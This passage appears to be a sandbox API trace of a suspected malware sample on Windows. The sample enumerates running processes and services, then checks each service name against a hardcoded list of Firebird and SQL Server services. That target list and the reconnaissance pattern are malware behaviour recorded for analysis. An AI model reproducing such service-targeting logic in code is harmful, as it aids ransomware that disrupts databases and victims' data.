th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0084.375] lstrlenW (lpString="jerry pure.exe") returned 14 [0084.375] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0084.376] lstrlenW (lpString="powerseller.exe") returned 15 [0084.376] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0084.376] lstrlenW (lpString="non firewall.exe") returned 16 [0084.376] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0084.377] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0084.377] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0084.378] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0084.378] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0084.379] lstrlenW (lpString="dllhost.exe") returned 11 [0084.379] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0084.380] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0084.380] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0084.380] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0084.381] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0084.381] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0084.381] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0084.382] lstrlenW (lpString="bd guidance.exe") returned 15 [0084.382] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0084.382] lstrlenW (lpString="conhost.exe") returned 11 [0084.382] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0084.383] lstrlenW (lpString="conhost.exe") returned 11 [0084.383] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0084.384] lstrlenW (lpString="lang hl gis.exe") returned 15 [0084.384] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0084.384] lstrlenW (lpString="dllhost.exe") returned 11 [0084.384] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.385] lstrlenW (lpString="svchost.exe") returned 11 [0084.385] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0084.386] lstrlenW (lpString="dllhost.exe") returned 11 [0084.386] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0084.386] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0084.386] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0084.387] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0084.387] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0084.387] lstrlenW (lpString="conhost.exe") returned 11 [0084.387] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.388] lstrlenW (lpString="svchost.exe") returned 11 [0084.388] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0084.388] lstrlenW (lpString="cmd.exe") returned 7 [0084.389] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0084.595] lstrlenW (lpString="conhost.exe") returned 11 [0084.595] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0084.623] CloseHandle (hObject=0x31c) returned 1 [0084.623] Sleep (dwMilliseconds=0x1f4) [0085.698] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f410 [0085.714] EnumServicesStatusExW (in: hSCManager=0x47f410, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0085.716] GetLastError () returned 0xea [0085.716] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x36820c0 [0085.716] EnumServicesStatusExW (in: hSCManager=0x47f410, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36820c0, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36820c0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0085.718] CloseServiceHandle (hSCObject=0x47f410) returned 1 [0085.718] lstrlenW (lpString="Appinfo") returned 7 [0085.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0085.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0085.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0085.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0085.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0085.718] lstrlenW (lpString="AppXSvc") returned 7 [0085.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0085.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0085.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0085.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0085.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0085.719] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0085.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0085.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0085.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0085.719] lstrlenW (lpString="Audiosrv") returned 8 [0085.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0085.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0085.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0085.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0085.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0085.719] lstrlenW (lpString="BFE") returned 3 [0085.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0085.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0085.719] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0085.719] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0085.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0085.719] lstrlenW (lpString="BITS") returned 4 [0085.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0085.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0085.719] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0085.719] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0085.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0085.720] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0085.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0085.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0085.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0085.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0085.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0085.720] lstrlenW (lpString="CDPSvc") returned 6 [0085.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0085.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0085.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0085.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0085.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0085.720] lstrlenW (lpString="ClickToRunSvc") returned 13 [0085.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0085.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0085.720] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0085.720] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0085.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0085.720] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0085.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0085.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0085.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0085.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0085.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0085.720] lstrlenW (lpString="CryptSvc") returned 8 [0085.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0085.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0085.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0085.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0085.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0085.721] lstrlenW (lpString="DcomLaunch") returned 10 [0085.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0085.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0085.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0085.721] lstrlenW (lpString="DeviceAssociationService") returned 24 [0085.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0085.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0085.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0085.721] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0085.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0085.721] lstrlenW (lpString="Dhcp") returned 4 [0085.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0085.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0085.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0085.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0085.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0085.721] lstrlenW (lpString="Dnscache") returned 8 [0085.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0085.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0085.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0085.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0085.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0085.722] lstrlenW (lpString="DoSvc") returned 5 [0085.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0085.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0085.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0085.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0085.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0085.722] lstrlenW (lpString="DPS") returned 3 [0085.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0085.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0085.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0085.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0085.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0085.722] lstrlenW (lpString="DusmSvc") returned 7 [0085.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0085.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0085.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0085.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0085.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0085.722] lstrlenW (lpString="EventLog") returned 8 [0085.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0085.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0085.723] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0085.723] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0085.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0085.723] lstrlenW (lpString="EventSystem") returned 11 [0085.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0085.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0085.723] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0085.723] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0085.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0085.723] lstrlenW (lpString="FontCache") returned 9 [0085.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0085.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0085.723] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0085.723] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0085.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0085.723] lstrlenW (lpString="gpsvc") returned 5 [0085.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0085.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0085.723] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0085.723] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0085.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0085.723] lstrlenW (lpString="iphlpsvc") returned 8 [0085.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0085.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0085.723] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0085.723] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0085.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0085.724] lstrlenW (lpString="KeyIso") returned 6 [0085.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0085.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0085.724] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0085.724] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0085.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0085.724] lstrlenW (lpString="LanmanServer") returned 12 [0085.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0085.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0085.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0085.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0085.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0085.724] lstrlenW (lpString="LanmanWorkstation") returned 17 [0085.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0085.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0085.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0085.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0085.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0085.724] lstrlenW (lpString="lfsvc") returned 5 [0085.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0085.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0085.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0085.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0085.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0085.724] lstrlenW (lpString="lmhosts") returned 7 [0085.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0085.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0085.725] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0085.725] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0085.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0085.725] lstrlenW (lpString="LSM") returned 3 [0085.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0085.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0085.725] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0085.725] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0085.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0085.725] lstrlenW (lpString="MapsBroker") returned 10 [0085.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0085.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0085.725] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0085.725] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0085.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0085.725] lstrlenW (lpString="MpsSvc") returned 6 [0085.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0085.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0085.725] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0085.725] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0085.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0085.725] lstrlenW (lpString="NcbService") returned 10 [0085.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0085.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0085.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0085.726] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0085.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0085.726] lstrlenW (lpString="netprofm") returned 8 [0085.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0085.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0085.726] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0085.726] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0085.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0085.726] lstrlenW (lpString="NlaSvc") returned 6 [0085.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0085.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0085.726] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0085.726] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0085.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0085.726] lstrlenW (lpString="nsi") returned 3 [0085.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0085.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0085.726] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0085.726] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0085.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0085.726] lstrlenW (lpString="PcaSvc") returned 6 [0085.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0085.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0085.726] lstrcmpiW (lpString1="sqlwriter", 